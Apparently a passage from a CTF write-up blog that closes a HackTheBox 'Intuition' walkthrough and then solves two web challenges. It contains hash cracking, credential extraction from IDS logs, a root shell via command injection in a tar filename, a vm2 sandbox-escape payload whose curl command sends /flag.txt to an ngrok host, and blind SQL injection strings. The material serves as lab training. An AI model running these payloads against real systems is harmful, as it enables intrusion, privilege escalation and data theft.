lopez:x:1003:1003:,,,:/home/lopez:/bin/bash
Okey, we have dev_acc (our current session) and we have adam and lopez who can be our next targets and of course the root is our main goal.
As there was authentication in the site, so we are sure that there’s a database and i think looking for the db files is the best thing to do once you get access on the target machine.
I went to the web directory /var/www/app and used this command
dev_acc@intuition:/var/www/app$ find . -name '*.db'
./blueprints/auth/users.db
./blueprints/report/reports.db
I tried to read users.db like this
dev_acc@intuition:/var/www/app$ strings ./blueprints/auth/users.db
SQLite format 3
Ytablesqlite_sequencesqlite_sequence
CREATE TABLE sqlite_sequence(name,seq)
Etableusersusers
CREATE TABLE users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT NOT NULL UNIQUE,
password TEXT NOT NULL,
role TEXT DEFAULT 'user'
indexsqlite_autoindex_users_1users
adamsha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43webdevh
adminsha256$nypGJ02XBnkIQK71$f0e11dc8ad21242b550cc8a3c27baaf1022b6522afaadbfa92bd612513e9b606admin
adam
admin
users
We are now sure it’s sqlite database we can open the file with sqlite for more clear vision.
dev_acc@intuition:/var/www/app$ sqlite3 blueprints/auth/users.db
SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.
sqlite> .tables
users
sqlite> select * from users;
1|admin|sha256$nypGJ02XBnkIQK71$f0e11dc8ad21242b550cc8a3c27baaf1022b6522afaadbfa92bd612513e9b606|admin
2|adam|sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43|webdev
After searching here, I found that this is Python Werkzeug SHA256 (HMAC-SHA256 (key = $salt)) * hash.
Let’s use hashcat to crack both hashes using hashcat -m 30120 -a 0 hash.txt /usr/share/wordlists/rockyou.txt -O
I cracked it before, so to show them i will do this
┌──(youssif㉿youssif)-[~/Desktop/HTBMachines/intuition]
└─$ hashcat -m 30120 -a 0 hash.txt --show
sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43:adam gray
I tried to SSH using these credentials, but i couldn’t
dev_acc@intuition:/var/www/app$ su - adam
Password:
su: Authentication failure
We can also try to login ftp as adam
dev_acc@intuition:/var/www/app$ ftp localhost
Connected to localhost.
220 pyftpdlib 1.5.7 ready.
Name (localhost:dev_acc): adam
331 Username ok, send password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering extended passive mode (|||56079|).
150 File status okay. About to open data connection.
drwxr-xr-x 3 root 1002 4096 Apr 10 08:21 backup
226 Transfer complete.
as you see we logged in successfully and also we have backup directory, let’s fetch its content and get it.
note: in the target machine go to /tmp as example and connect to FTP again as you can’t get file in any directory you need a directory you can write in.
ftp> cd backup
250 "/backup" is the current directory.
ftp> ls
229 Entering extended passive mode (|||54641|).
125 Data connection already open. Transfer starting.
drwxr-xr-x 2 root 1002 4096 Apr 10 08:21 runner1
226 Transfer complete.
ftp> cd runner1
250 "/backup/runner1" is the current directory.
ftp> ls
229 Entering extended passive mode (|||36709|).
125 Data connection already open. Transfer starting.
-rwxr-xr-x 1 root 1002 318 Apr 06 00:25 run-tests.sh
-rwxr-xr-x 1 root 1002 16744 Oct 19 2023 runner1
-rw-r--r-- 1 root 1002 3815 Oct 19 2023 runner1.c
226 Transfer complete.
ftp> get run-tests.sh
local: run-tests.sh remote: run-tests.sh
229 Entering extended passive mode (|||34793|).
150 File status okay. About to open data connection.
100% |******************************************************| 318 759.28 KiB/s 00:00 ETA
226 Transfer complete.
318 bytes received in 00:00 (499.27 KiB/s)
ftp> get runner1
local: runner1 remote: runner1
229 Entering extended passive mode (|||40317|).
150 File status okay. About to open data connection.
100% |******************************************************| 16744 18.58 MiB/s 00:00 ETA
226 Transfer complete.
16744 bytes received in 00:00 (12.93 MiB/s)
ftp> get runner1.c
local: runner1.c remote: runner1.c
229 Entering extended passive mode (|||51601|).
150 File status okay. About to open data connection.
100% |******************************************************| 3815 3.70 MiB/s 00:00 ETA
226 Transfer complete.
3815 bytes received in 00:00 (3.03 MiB/s)
Let’s read the content of these files
run-tests.sh
#!/bin/bash
# List playbooks
./runner1 list
# Run playbooks [Need authentication]
# ./runner run [playbook number] -a [auth code]
#./runner1 run 1 -a "UHI75GHI****"
# Install roles [Need authentication]
# ./runner install [role url] -a [auth code]
#./runner1 install http://role.host.tld/role.tar -a "UHI75GHI****"
when i try to run any of these commands i get Authentication failed, let’s look at the source code.
runner.c
// Version : 1
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dirent.h>
#include <openssl/md5.h>
#define INVENTORY_FILE "/opt/playbooks/inventory.ini"
#define PLAYBOOK_LOCATION "/opt/playbooks/"
#define ANSIBLE_PLAYBOOK_BIN "/usr/bin/ansible-playbook"
#define ANSIBLE_GALAXY_BIN "/usr/bin/ansible-galaxy"
#define AUTH_KEY_HASH "0feda17076d793c2ef2870d7427ad4ed"
int check_auth(const char* auth_key) {
unsigned char digest[MD5_DIGEST_LENGTH];
MD5((const unsigned char*)auth_key, strlen(auth_key), digest);
char md5_str[33];
for (int i = 0; i < 16; i++) {
sprintf(&md5_str[i*2], "%02x", (unsigned int)digest[i]);
}
if (strcmp(md5_str, AUTH_KEY_HASH) == 0) {
return 1;
} else {
return 0;
}
}
void listPlaybooks() {
DIR *dir = opendir(PLAYBOOK_LOCATION);
if (dir == NULL) {
perror("Failed to open the playbook directory");
return;
}
struct dirent *entry;
int playbookNumber = 1;
while ((entry = readdir(dir)) != NULL) {
if (entry->d_type == DT_REG && strstr(entry->d_name, ".yml") != NULL) {
printf("%d: %s\n", playbookNumber, entry->d_name);
playbookNumber++;
}
}
closedir(dir);
}
void runPlaybook(const char *playbookName) {
char run_command[1024];
snprintf(run_command, sizeof(run_command), "%s -i %s %s%s", ANSIBLE_PLAYBOOK_BIN, INVENTORY_FILE, PLAYBOOK_LOCATION, playbookName);
system(run_command);
}
void installRole(const char *roleURL) {
char install_command[1024];
snprintf(install_command, sizeof(install_command), "%s install %s", ANSIBLE_GALAXY_BIN, roleURL);
system(install_command);
}
int main(int argc, char *argv[]) {
if (argc < 2) {
printf("Usage: %s [list|run playbook_number|install role_url] -a <auth_key>\n", argv[0]);
return 1;
}
int auth_required = 0;
char auth_key[128];
for (int i = 2; i < argc; i++) {
if (strcmp(argv[i], "-a") == 0) {
if (i + 1 < argc) {
strncpy(auth_key, argv[i + 1], sizeof(auth_key));
auth_required = 1;
break;
} else {
printf("Error: -a option requires an auth key.\n");
return 1;
}
}
}
if (!check_auth(auth_key)) {
printf("Error: Authentication failed.\n");
return 1;
}
if (strcmp(argv[1], "list") == 0) {
listPlaybooks();
} else if (strcmp(argv[1], "run") == 0) {
int playbookNumber = atoi(argv[2]);
if (playbookNumber > 0) {
DIR *dir = opendir(PLAYBOOK_LOCATION);
if (dir == NULL) {
perror("Failed to open the playbook directory");
return 1;
}
struct dirent *entry;
int currentPlaybookNumber = 1;
char *playbookName = NULL;
while ((entry = readdir(dir)) != NULL) {
if (entry->d_type == DT_REG && strstr(entry->d_name, ".yml") != NULL) {
if (currentPlaybookNumber == playbookNumber) {
playbookName = entry->d_name;
break;
}
currentPlaybookNumber++;
}
}
closedir(dir);
if (playbookName != NULL) {
runPlaybook(playbookName);
} else {
printf("Invalid playbook number.\n");
}
} else {
printf("Invalid playbook number.\n");
}
} else if (strcmp(argv[1], "install") == 0) {
installRole(argv[2]);
} else {
printf("Usage2: %s [list|run playbook_number|install role_url] -a <auth_key>\n", argv[0]);
return 1;
}
return 0;
}
After analyzing the code we will find important notes.
we have the hash of the auth key AUTH_KEY_HASH "0feda17076d793c2ef2870d7427ad4ed" and It’s the md5 of the authentication key.
we already have part of the key from run-tests.sh which is UHI75GHI****, so we can use hashcat or even write a python script for getting the key.
┌──(youssif㉿youssif)-[~]
└─$ hashcat -m 0 -a 3 0feda17076d793c2ef2870d7427ad4ed UHI75GHI?a?a?a?a -O
---snip---
0feda17076d793c2ef2870d7427ad4ed:UHI75GHINKOP
---snip---
We got the auth key UHI75GHINKOP.
After examining the code also we will find that there are 3 possible action: list, run playbook_number, install role_url
run and install are vulnerable to command injection due to the use of system without any input sanitization and install is more clear as the argument passed to it is the last argument in the executed command and we can abuse this to cmd injection.
but we can’t do sudo -l as we don’t have the password of the current user, so we can’t run runner1 as root.
Let look further in the machine
I used ss -tulpn to see if there’s service listening on local port and i found this
dev_acc@intuition:~$ ss -tulpn
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
udp UNCONN 0 0 0.0.0.0:53997 0.0.0.0:*
udp UNCONN 0 0 0.0.0.0:5353 0.0.0.0:*
udp UNCONN 0 0 [::]:49919 [::]:*
udp UNCONN 0 0 [::]:5353 [::]:*
tcp LISTEN 0 4096 127.0.0.1:8080 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 100 172.21.0.1:21 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:37671 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:4444 0.0.0.0:*
tcp LISTEN 0 100 127.0.0.1:21 0.0.0.0:*
tcp LISTEN 0 128 [::]:22 [::]:*
to access service on local port, we will try port forwarding like this ssh -L 9001:127.0.0.1:4444 -i ./key dev_acc@10.10.11.15, so browsing in localhost:9001 will forward us to port 4444 on the target.
I found Selenium Grid on port 4444, but after searching i found no interesting thing to do here.
Let’s see the running processes using ps -ef.
I found interesting suricata process running.
Then i read the configurations of suricata in /etc/suricata/suricata.yaml, I found that logs are in /var/log/suricata so let’s go there.
we want creds for adam or lopez for ssh, so we will search in these logs for that.
dev_acc@intuition:/var/log/suricata$ zgrep "lopez" *.gz
eve.json.8.gz:{"timestamp":"2023-09-28T17:43:36.099184+0000","flow_id":1988487100549589,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":37522,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":1,"community_id":"1:SLaZvboBWDjwD/SXu/SOOcdHzV8=","ftp":{"command":"USER","command_data":"lopez","completion_code":["331"],"reply":["Username ok, send password."],"reply_received":"yes"}}
eve.json.8.gz:{"timestamp":"2023-09-28T17:44:32.133372+0000","flow_id":1218304978677234,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":45760,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":1,"community_id":"1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","ftp":{"command":"USER","command_data":"lopez","completion_code":["331"],"reply":["Username ok, send password."],"reply_received":"yes"}}
I found two interesting events when i searched for lopez for these flows the username is send, we want to track these flows for the password.
dev_acc@intuition:/var/log/suricata$ zgrep "1988487100549589" *.gz
eve.json.8.gz:{"timestamp":"2023-09-28T17:43:36.098934+0000","flow_id":1988487100549589,"in_iface":"ens33","event_type":"anomaly","src_ip":"192.168.227.13","src_port":21,"dest_ip":"192.168.227.229","dest_port":37522,"proto":"TCP","community_id":"1:SLaZvboBWDjwD/SXu/SOOcdHzV8=","anomaly":{"app_proto":"ftp","type":"applayer","event":"APPLAYER_DETECT_PROTOCOL_ONLY_ONE_DIRECTION","layer":"proto_detect"}}
eve.json.8.gz:{"timestamp":"2023-09-28T17:43:36.098934+0000","flow_id":1988487100549589,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":37522,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":0,"community_id":"1:SLaZvboBWDjwD/SXu/SOOcdHzV8=","ftp":{"completion_code":["220"],"reply":["pyftpdlib 1.5.7 ready."],"reply_received":"yes"}}
eve.json.8.gz:{"timestamp":"2023-09-28T17:43:36.099184+0000","flow_id":1988487100549589,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":37522,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":1,"community_id":"1:SLaZvboBWDjwD/SXu/SOOcdHzV8=","ftp":{"command":"USER","command_data":"lopez","completion_code":["331"],"reply":["Username ok, send password."],"reply_received":"yes"}}
eve.json.8.gz:{"timestamp":"2023-09-28T17:43:52.999165+0000","flow_id":1988487100549589,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":37522,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":2,"community_id":"1:SLaZvboBWDjwD/SXu/SOOcdHzV8=","ftp":{"command":"PASS","command_data":"Lopezzz1992%123","completion_code":["530"],"reply":["Authentication failed."],"reply_received":"yes"}}
eve.json.8.gz:{"timestamp":"2023-09-28T17:43:58.799539+0000","flow_id":1988487100549589,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":37522,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":3,"community_id":"1:SLaZvboBWDjwD/SXu/SOOcdHzV8=","ftp":{"command":"QUIT","completion_code":["221"],"reply":["Goodbye."],"reply_received":"yes"}}
eve.json.8.gz:{"timestamp":"2023-09-28T17:47:27.172398+0000","flow_id":1988487100549589,"in_iface":"ens33","event_type":"alert","src_ip":"192.168.227.229","src_port":37522,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","community_id":"1:SLaZvboBWDjwD/SXu/SOOcdHzV8=","alert":{"action":"allowed","gid":1,"signature_id":2001,"rev":2001,"signature":"FTP Failed Login Attempt","category":"","severity":3},"app_proto":"ftp","app_proto_tc":"failed","flow":{"pkts_toserver":10,"pkts_toclient":10,"bytes_toserver":708,"bytes_toclient":771,"start":"2023-09-28T17:43:32.969173+0000"}}
eve.json.8.gz:{"timestamp":"2023-09-28T17:47:27.173121+0000","flow_id":1988487100549589,"in_iface":"ens33","event_type":"flow","src_ip":"192.168.227.229","src_port":37522,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","app_proto":"ftp","app_proto_tc":"failed","flow":{"pkts_toserver":10,"pkts_toclient":10,"bytes_toserver":708,"bytes_toclient":771,"start":"2023-09-28T17:43:32.969173+0000","end":"2023-09-28T17:43:58.799628+0000","age":26,"state":"closed","reason":"timeout","alerted":true},"community_id":"1:SLaZvboBWDjwD/SXu/SOOcdHzV8=","tcp":{"tcp_flags":"1b","tcp_flags_ts":"1b","tcp_flags_tc":"1b","syn":true,"fin":true,"psh":true,"ack":true,"state":"closed"}}
dev_acc@intuition:/var/log/suricata$ zgrep "1218304978677234" *.gz
eve.json.8.gz:{"timestamp":"2023-09-28T17:44:32.130222+0000","flow_id":1218304978677234,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":45760,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":0,"community_id":"1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","ftp":{"completion_code":["220"],"reply":["pyftpdlib 1.5.7 ready."],"reply_received":"yes"}}
eve.json.8.gz:{"timestamp":"2023-09-28T17:44:32.133372+0000","flow_id":1218304978677234,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":45760,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":1,"community_id":"1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","ftp":{"command":"USER","command_data":"lopez","completion_code":["331"],"reply":["Username ok, send password."],"reply_received":"yes"}}
eve.json.8.gz:{"timestamp":"2023-09-28T17:44:48.188361+0000","flow_id":1218304978677234,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":45760,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":2,"community_id":"1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","ftp":{"command":"PASS","command_data":"Lopezz1992%123","completion_code":["230"],"reply":["Login successful."],"reply_received":"yes"}}
eve.json.8.gz:{"timestamp":"2023-09-28T17:44:48.188882+0000","flow_id":1218304978677234,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":45760,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":3,"community_id":"1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","ftp":{"command":"SYST","completion_code":["215"],"reply":["UNIX Type: L8"],"reply_received":"yes"}}
eve.json.8.gz:{"timestamp":"2023-09-28T17:44:48.189137+0000","flow_id":1218304978677234,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":45760,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":4,"community_id":"1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","ftp":{"completion_code":["211"],"reply":["Features supported:"," EPRT"," EPSV"," MDTM"," MFMT"," MLST type*;perm*;size*;modify*;unique*;unix.mode;unix.uid;unix.gid;"," REST STREAM"," SIZE"," TVFS"," UTF8"],"reply_received":"yes"}}
eve.json.8.gz:{"timestamp":"2023-09-28T17:44:50.305618+0000","flow_id":1218304978677234,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":45760,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":5,"community_id":"1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","ftp":{"command":"EPSV","completion_code":["229"],"reply":["Entering extended passive mode (|||35389|)."],"dynamic_port":35389,"reply_received":"yes"}}
eve.json.8.gz:{"timestamp":"2023-09-28T17:44:50.307049+0000","flow_id":1218304978677234,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":45760,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":6,"community_id":"1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","ftp":{"command":"LIST","completion_code":["125","226"],"reply":["Data connection already open. Transfer starting.","Transfer complete."],"reply_received":"yes"}}
eve.json.8.gz:{"timestamp":"2023-09-28T17:45:32.648919+0000","flow_id":1218304978677234,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":45760,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":7,"community_id":"1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","ftp":{"command":"QUIT","completion_code":["221"],"reply":["Goodbye."],"reply_received":"yes"}}
eve.json.8.gz:{"timestamp":"2023-09-28T17:45:32.648990+0000","flow_id":1218304978677234,"in_iface":"ens33","event_type":"alert","src_ip":"192.168.227.229","src_port":45760,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","community_id":"1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","alert":{"action":"allowed","gid":1,"signature_id":2001,"rev":2001,"signature":"FTP Failed Login Attempt","category":"","severity":3},"app_proto":"ftp","app_proto_tc":"failed","flow":{"pkts_toserver":18,"pkts_toclient":15,"bytes_toserver":1259,"bytes_toclient":1415,"start":"2023-09-28T17:44:27.224754+0000"}}
eve.json.8.gz:{"timestamp":"2023-09-28T17:49:34.537400+0000","flow_id":1218304978677234,"in_iface":"ens33","event_type":"alert","src_ip":"192.168.227.229","src_port":45760,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","community_id":"1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","alert":{"action":"allowed","gid":1,"signature_id":2001,"rev":2001,"signature":"FTP Failed Login Attempt","category":"","severity":3},"app_proto":"ftp","app_proto_tc":"failed","flow":{"pkts_toserver":18,"pkts_toclient":15,"bytes_toserver":1259,"bytes_toclient":1415,"start":"2023-09-28T17:44:27.224754+0000"}}
eve.json.8.gz:{"timestamp":"2023-09-28T17:49:34.537668+0000","flow_id":1218304978677234,"in_iface":"ens33","event_type":"flow","src_ip":"192.168.227.229","src_port":45760,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","app_proto":"ftp","app_proto_tc":"failed","flow":{"pkts_toserver":18,"pkts_toclient":15,"bytes_toserver":1259,"bytes_toclient":1415,"start":"2023-09-28T17:44:27.224754+0000","end":"2023-09-28T17:45:32.648990+0000","age":65,"state":"closed","reason":"timeout","alerted":true},"community_id":"1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","tcp":{"tcp_flags":"1b","tcp_flags_ts":"1b","tcp_flags_tc":"1b","syn":true,"fin":true,"psh":true,"ack":true,"state":"closed"}}
from the first one the password is Lopezzz1992%123 and it didn’t work, but the second password Lopezz1992%123 worked and we code ssh as lopez.
shell as root
starting by finding which commands can be run as root
lopez@intuition:~$ sudo -l
[sudo] password for lopez:
Matching Defaults entries for lopez on intuition:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User lopez may run the following commands on intuition:
(ALL : ALL) /opt/runner2/runner2
It seems to be another version of runner program we saw before
Let’s try to run it
lopez@intuition:~$ sudo /opt/runner2/runner2
[sudo] password for lopez:
Usage: /opt/runner2/runner2 <json_file>
I created an empty json file with just {} and ran it again.
lopez@intuition:~$ sudo /opt/runner2/runner2 ./tst.json
Run key missing or invalid.
from the error we know that there’s a key called run so let’s make the content of json something like this {"run":"true"} and i got the same error.
After many trials i got a new error when the content of json became {"run":{}}
lopez@intuition:~$ sudo /opt/runner2/runner2 ./tst.json
[sudo] password for lopez:
Action key missing or invalid.
I added the action key and after trials i found that the values will be the actions we saw in the runner1.c list, run, install so i made the json to be {"run":{"action":"list"}}.
lopez@intuition:~$ sudo /opt/runner2/runner2 ./tst.json
1: apt_update.yml
Now it works well, let’s try install action by making the json content to be {"run":{"action":"install"}}
lopez@intuition:~$ sudo /opt/runner2/runner2 ./tst.json
Authentication key missing or invalid for 'install' action.
Authentication key is what we got by hashcat so i tried to add it but i faced errors also.
Now we will reverse runner2 in order to understand the format of the json file
undefined8 main(int param_1,undefined8 *param_2)
{
int iVar1;
FILE *__stream;
long lVar2;
int *piVar3;
int *piVar4;
char *pcVar5;
undefined8 uVar6;
DIR *__dirp;
dirent *pdVar7;
int local_80;
char *local_78;
if (param_1 != 2) {
printf("Usage: %s <json_file>\n",*param_2);
return 1;
}
__stream = fopen((char *)param_2[1],"r");
if (__stream == (FILE *)0x0) {
perror("Failed to open the JSON file");
return 1;
}
lVar2 = json_loadf(__stream,2,0);
fclose(__stream);
if (lVar2 == 0) {
fwrite("Error parsing JSON data.\n",1,0x19,stderr);
return 1;
}
piVar3 = (int *)json_object_get(lVar2,&DAT_00102148);
if ((piVar3 == (int *)0x0) || (*piVar3 != 0)) {
fwrite("Run key missing or invalid.\n",1,0x1c,stderr);
}
else {
piVar4 = (int *)json_object_get(piVar3,"action");
if ((piVar4 == (int *)0x0) || (*piVar4 != 2)) {
fwrite("Action key missing or invalid.\n",1,0x1f,stderr);
}
else {
pcVar5 = (char *)json_string_value(piVar4);
iVar1 = strcmp(pcVar5,"list");
if (iVar1 == 0) {
listPlaybooks();
}
else {
iVar1 = strcmp(pcVar5,"run");
if (iVar1 == 0) {
piVar3 = (int *)json_object_get(piVar3,&DAT_00102158);
piVar4 = (int *)json_object_get(lVar2,"auth_code");
if ((piVar4 != (int *)0x0) && (*piVar4 == 2)) {
uVar6 = json_string_value(piVar4);
iVar1 = check_auth(uVar6);
if (iVar1 != 0) {
if ((piVar3 == (int *)0x0) || (*piVar3 != 3)) {
fwrite("Invalid \'num\' value for \'run\' action.\n",1,0x26,stderr);
}
else {
iVar1 = json_integer_value(piVar3);
__dirp = opendir("/opt/playbooks/");
if (__dirp == (DIR *)0x0) {
perror("Failed to open the playbook directory");
return 1;
}
local_80 = 1;
local_78 = (char *)0x0;
while (pdVar7 = readdir(__dirp), pdVar7 != (dirent *)0x0) {
if ((pdVar7->d_type == '\b') &&
(pcVar5 = strstr(pdVar7->d_name,".yml"), pcVar5 != (char *)0x0)) {
if (local_80 == iVar1) {
local_78 = pdVar7->d_name;
break;
}
local_80 = local_80 + 1;
}
}
closedir(__dirp);
if (local_78 == (char *)0x0) {
fwrite("Invalid playbook number.\n",1,0x19,stderr);
}
else {
runPlaybook(local_78);
}
}
goto LAB_00101db5;
}
}
fwrite("Authentication key missing or invalid for \'run\' action.\n",1,0x38,stderr);
json_decref(lVar2);
return 1;
}
iVar1 = strcmp(pcVar5,"install");
if (iVar1 == 0) {
piVar3 = (int *)json_object_get(piVar3,"role_file");
piVar4 = (int *)json_object_get(lVar2,"auth_code");
if ((piVar4 != (int *)0x0) && (*piVar4 == 2)) {
uVar6 = json_string_value(piVar4);
iVar1 = check_auth(uVar6);
if (iVar1 != 0) {
if ((piVar3 == (int *)0x0) || (*piVar3 != 2)) {
fwrite("Role File missing or invalid for \'install\' action.\n",1,0x33,stderr);
}
else {
uVar6 = json_string_value(piVar3);
installRole(uVar6);
}
goto LAB_00101db5;
}
}
fwrite("Authentication key missing or invalid for \'install\' action.\n",1,0x3c,stderr);
json_decref(lVar2);
return 1;
}
fwrite("Invalid \'action\' value.\n",1,0x18,stderr);
}
}
}
LAB_00101db5:
json_decref(lVar2);
return 0;
}
void _fini(void)
{
return;
}
This is the main function and we are interested also in install role function which is here
void installRole(undefined8 param_1)
{
int iVar1;
long in_FS_OFFSET;
char local_418 [1032];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
iVar1 = isTarArchive(param_1);
if (iVar1 == 0) {
fwrite("Invalid tar archive.\n",1,0x15,stderr);
}
else {
snprintf(local_418,0x400,"%s install %s","/usr/bin/ansible-galaxy",param_1);
system(local_418);
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
// WARNING: Subroutine does not return
__stack_chk_fail();
}
return;
}
after code examination i reached that the json file should be like this:
{
"run": {
"action": "install",
"role_file":"<path/to/tar file>"
},
"auth_code": "UHI75GHINKOP"
}
and the command injection will be the name of the role file
We will create the file using tar -cvf tar_file_name file_to_be_compressed.
lopez@intuition:~$ tar -cvf tst.tar\;bash tst.json
tst.json
and the content of tst.json is
{
"run": {
"action": "install",
"role_file":"tst.tar\;bash"
},
"auth_code": "UHI75GHINKOP"
}
Then run sudo /opt/runner2/runner2 ./tst.json and you will get shell as root
root@intuition:/home/lopez# whoami
root
root@intuition:/home/lopez# cat /root/root.txt
*******************************d
Congratzz
-
-
Web: secure calc
Description
This site is secure and sandboxed.
Solution
When we start the challange we will find the source code which is a NodeJS express site and it’s a small app as you see
const express = require("express");
const {VM} = require("vm2");
const app = express();
const vm = new VM();
app.use(express.json());
app.get('/', function (req, res) {
return res.send("Hello, just index : )");
});
app.post('/calc',async function (req, res) {
let { eqn } = req.body;
if (!eqn) {
return res.status(400).json({ 'Error': 'Please provide the equation' });
}
else if (eqn.match(/[a-zA-Z]/)) {
return res.status(400).json({ 'Error': 'Invalid Format' });
}
try {
result = await vm.run(eqn);
res.send(200,result);
} catch (e) {
console.log(e);
return res.status(400).json({ 'Error': 'Syntax error, please check your equation' });
}
});
app.listen(3000,'0.0.0.0',function(){
console.log("Started !")
});
We see const {VM} = require("vm2");, I searched for it and i knew the version from package.json file attached ith the challange and the version was "vm2": "^3.9.19".
It’s vulnerable to sandbox escaping and the poc is in this article. We see that the code executed is passed to vm.run(code) function and we have this function in the code of the challange.
When we examine /calc endpoint we see that it’s an endpoint for solving equations and we will find 4 steps:
checking if there’s a data in the request body (this data will be in json format)
data is passed to regex checker to make sure that the data in the request body doesn’t contain any characters
vm.run(code) at which the equation will be solved or our code will be executed and it’s our goal
syntax error if there is any error from vm.run(code)
I have the CVE POC code so i can escape the sandbox but the problem is in bypassing regex.
When i send a normal data without any alphabetical characters i get the result of the equation like this
When i try sending any characters i get "Error":"Invalid Format"
after many attempts i got an error in the syntax that told me json.parse is used
This made me to think about prototype pollution
I tried
{
"__proto__": {
"eqn": "1+2"
}
}
but it couldn’t detect that it’s an equation.
I tried many encoding algorithms like unicode but didn’t work.
After many attempts i found the suitable encoding way it’s JSFuck because it consists of symbols only so it will work
I used this payload
async function fn() {
(function stack() {
new Error().stack;
stack();
})();
}
p = fn();
p.constructor = {
[Symbol.species]: class FakePromise {
constructor(executor) {
executor(
(x) => x,
(err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('curl http://ngrokIP:ngrokport'); }
)
}
}
};
p.then();
and converted it to JSFuck using any online converter and send that request
The curl command worked well
Now let’s read the flag but making the command to be
curl -X POST --data-binary "@/flag.txt" http://ngrokIP:port
convert it and send the request like we did before AND ..
GG !!
-
Web: real
Description
A BBH got a vulnerability in this site but the triager needs POC, The flag will be the db username in UPPERCASE and there’s rate limit (1 request per second)
solution
When we start the challange we will see this login page
It’s a very very simple page and during my first attempts i noticed that the output can be:
welcome (status code 200) and this occurs when the login is done successfully
error (status code 400) and this occurs when the login is failed (wrong creds or wrong syntax)
filtered and this occurs when using symbols or words which are forbidden
when i tried username=admin%27--&password=a i got welcome in response like this
we got the injection point and i see it’s a blind sqli.
I was tring to retrieve the data from the tables but there’s misunderstanding.
I thought he wants a different user in the same table but it wants the username of the db which is the user connected to database.
and this misunderstanding made me take too much time as i want to get data from users table and the () were filtered, so i was in a rabbit hole.
After noticing that we need the db user i starting thinking in a different way.
I want to know the type of data base.
I noticed that the database accepts -- as comment and refuse # and after asking chatgpt i knew that my database now can be Oracle or Postgresql
After searching about differences i found that there’s a table called all_tables in oracle corresponds to information_schema.tables in postgresql.
I made sure that the db is postgresql using these parameters username=admin%27union%20select%20null,null%20from%20information_schema.tables--&password=a and got welcome in the response.
Now i want to get the postgres dbusername.
After searching i found that to get it we use select current_user
There may be other ways but this worked with me and was very simple.
Now i want to inject it in the username parameter and this can be done by admin' and current_user like 'A%'-- this will return welcome if the first character in the current_user is A.
